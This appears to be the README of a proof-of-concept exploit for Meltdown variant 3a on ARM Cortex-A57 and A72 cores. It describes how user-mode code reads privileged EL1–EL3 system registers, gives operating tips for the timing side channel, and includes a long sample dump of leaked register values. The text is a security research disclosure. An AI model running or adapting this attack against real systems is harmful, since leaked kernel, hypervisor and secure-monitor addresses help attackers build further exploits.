PoC code implementing variant 3a of the Meltdown attack for AArch64. This allows reading all (potentially excluding registers whose read has side effects – not verified) system registers from user mode, including those which should only be accessible from the EL1 (kernel), EL2 (hypervisor) and EL3 (secure monitor) modes.
See the ARM whitepaper and the Meltdown vulnerability.
Confirmed to be working on Cortex-A57 and Cortex-A72.
Impact
Infoleaks of potentially sensitive data from the OS, hypervisor or secure monitor. No cryptographic keys or user data are expected to be exposed in most cases. So far, I’ve identified 3 potentially interesting uses for this:
- confirming the presence of a hypervisor and/or secure monitor on the machine
- detecting the use of hardware debugging or profiling tools
- obtaining valid addresses of software running in EL1-EL3 (from the registers containing pointers to the page tables, the exception vector, etc) – potentially useful in developing or deploying exploits for other vulnerabilities in this software
Running it
The access timing is done using a second thread which increments a counter, which means that at least 2 cores need to be online and (close to) idle. DVFS might have to be disabled. In a big.LITTLE system, pin this process to the big cores. Cortex-A57 and Cortex-A72 are the only AArch64-capable cores designed by ARM which are vulnerable (to this variant of Meltdown). Note that bit-level errors are possible, although they should be rare.
Sample output
The registers marked dynamic denote the registers which do not appear to have a constant value during the sampling process. In the sample below, these are the Generic Timer registers (CNT*) and the Interrupt Status Register (ISR_EL1).
$ ./dump_sys_regs
ACTLR_EL1 : 0x0
ACTLR_EL2 : 0x73
ACTLR_EL3 : 0x73
AIDR_EL1 : 0x0
AFSR0_EL1 : 0x0
AFSR0_EL2 : 0x0
AFSR0_EL3 : 0x0
AFSR1_EL1 : 0x0
AFSR1_EL2 : 0x0
AFSR1_EL3 : 0x0
AMAIR_EL1 : 0x0
AMAIR_EL2 : 0x0
AMAIR_EL3 : 0x0
CCSIDR_EL1 : 0x70ffe07a
CLIDR_EL1 : 0xa200023
CPACR_EL1 : 0x300000
CPTR_EL2 : 0x33ff
CPTR_EL3 : 0x0
CSSELR_EL1 : 0x2
CTR_EL0 : 0x8444c004
DISR_EL1 : 0x0
ERRIDR_EL1 : 0x0
ERRSELR_EL1 : 0x0
ERXADDR_EL1 : 0x0
ERXCTLR_EL1 : 0x0
ERXFR_EL1 : 0x0
ERXMISC0_EL1 : 0x0
ERXMISC1_EL1 : 0x0
ERXSTATUS_EL1 : 0x0
ESR_EL1 : 0x56000000
ESR_EL2 : 0x0
ESR_EL3 : 0x5e000000
HACR_EL2 : 0x0
HCR_EL2 : 0x80000000
ID_AFR0_EL1 : 0x0
ID_DFR0_EL1 : 0x3010066
ID_ISAR0_EL1 : 0x2101110
ID_ISAR1_EL1 : 0x13112111
ID_ISAR2_EL1 : 0x21232042
ID_ISAR3_EL1 : 0x1112131
ID_ISAR4_EL1 : 0x11142
ID_ISAR5_EL1 : 0x11121
ID_ISAR6_EL1 : 0x0
ID_MMFR0_EL1 : 0x10201105
ID_MMFR1_EL1 : 0x40000000
ID_MMFR2_EL1 : 0x1260000
ID_MMFR3_EL1 : 0x2102211
ID_MMFR4_EL1 : 0x0
ID_PFR0_EL1 : 0x131
ID_PFR1_EL1 : 0x11011
ID_AA64DFR0_EL1 : 0x10305106
ID_AA64ISAR0_EL1 : 0x11120
ID_AA64ISAR1_EL1 : 0x0
ID_AA64MMFR0_EL1 : 0x1124
ID_AA64MMFR1_EL1 : 0x0
ID_AA64MMFR2_EL1 : 0x0
ID_AA64PFR0_EL1 : 0x2222
IFSR32_EL2 : 0x0
LORC_EL1 : 0x0
LORID_EL1 : 0x0
LORN_EL1 : 0x0
MDCR_EL3 : 0x0
MIDR_EL1 : 0x411fd073
MPIDR_EL1 : 0x80000103
PAR_EL1 : 0x7f99305000
RVBAR_EL3 : 0xf6000000
REVIDR_EL1 : 0x0
SCTLR_EL1 : 0x34d5d91d
SCTLR_EL3 : 0xcd183f
TCR_EL1 : 0x34b5193519
TCR_EL2 : 0x80800000
TCR_EL3 : 0x8080351d
TTBR0_EL1 : 0xf89f0000d4454000
TTBR0_EL2 : 0x0
TTBR0_EL3 : 0x30010b00
TTBR1_EL1 : 0x8133f000
TTBR1_EL2 : 0x0
VDISR_EL2 : 0x0
VSESR_EL2 : 0x0
VTCR_EL2 : 0x80000000
VTTBR_EL2 : 0x0
AFSR0_EL12 : 0x0
AFSR1_EL12 : 0x0
AMAIR_EL12 : 0x0
CNTFRQ_EL0 : 0x1dcd650
CNTHCTL_EL2 : 0x3
CNTHP_CTL_EL2 : 0x0
CNTHP_CVAL_EL2 : 0x0
CNTHP_TVAL_EL2 : 0x65a29ee7 (dynamic?)
CNTHV_CTL_EL2 : 0x0
CNTHV_CVAL_EL2 : 0x0
CNTHV_TVAL_EL2 : 0x0
CNTKCTL_EL1 : 0xc6
CNTKCTL_EL12 : 0x0
CNTP_CTL_EL0 : 0x0
CNTP_CTL_EL02 : 0x0
CNTP_CVAL_EL0 : 0x12878de2
CNTP_CVAL_EL02 : 0x0
CNTP_TVAL_EL0 : 0x7801a980 (dynamic?)
CNTP_TVAL_EL02 : 0x0
CNTPCT_EL0 : 0x162db9aa576c0 (dynamic?)
CNTPS_CTL_EL1 : 0x0
CNTPS_CVAL_EL1 : 0x0
CNTPS_TVAL_EL1 : 0x6539bd20 (dynamic?)
CNTV_CTL_EL0 : 0x0
CNTV_CTL_EL02 : 0x0
CNTV_CVAL_EL0 : 0x0
CNTV_CVAL_EL02 : 0x0
CNTV_TVAL_EL0 : 0x6516d1c0 (dynamic?)
CNTV_TVAL_EL02 : 0x0
CNTVCT_EL0 : 0x162db9b090480 (dynamic?)
CNTVOFF_EL2 : 0x0
CONTEXTIDR_EL1 : 0x0
CONTEXTIDR_EL12 : 0x0
CONTEXTIDR_EL2 : 0x0
CPACR_EL12 : 0x0
CPTR_EL3 : 0x0
DACR32_EL2 : 0x0
ESR_EL12 : 0x0
FAR_EL1 : 0x0
FAR_EL12 : 0x0
FAR_EL2 : 0x0
FAR_EL3 : 0x0
FPEXC32_EL2 : 0x7f99305000
HPFAR_EL2 : 0x0
HSTR_EL2 : 0x0
ID_AA64AFR0_EL1 : 0x0
ID_AA64AFR1_EL1 : 0x0
ID_AA64DFR1_EL1 : 0x0
ID_AA64PFR1_EL1 : 0x0
ISR_EL1 : 0x0 (dynamic?)
LOREA_EL1 : 0x0
LORSA_EL1 : 0x0
MAIR_EL1 : 0xbbff440c0400
MAIR_EL12 : 0x0
MAIR_EL2 : 0x0
MAIR_EL3 : 0x4404ff
MDCR_EL2 : 0x6
MVFR0_EL1 : 0x10110222
MVFR1_EL1 : 0x12111111
MVFR2_EL1 : 0x43
RMR_EL3 : 0x1
SCR_EL3 : 0x535
SCTLR_EL12 : 0x0
SCTLR_EL2 : 0x30c50830
SDER32_EL3 : 0x0
TCR_EL12 : 0x0
TPIDR_EL0 : 0x7f993066f0
TPIDR_EL1 : 0x1fed81000
TPIDR_EL2 : 0x0
TPIDR_EL3 : 0x30010f80
TPIDRRO_EL0 : 0x0
TTBR0_EL12 : 0x0
TTBR1_EL12 : 0x0
VBAR_EL1 : 0xffffffc000083800
VBAR_EL12 : 0x0
VBAR_EL2 : 0x8008a000
VBAR_EL3 : 0x3000a800
VMPIDR_EL2 : 0x80000103
VPIDR_EL2 : 0x411fd073
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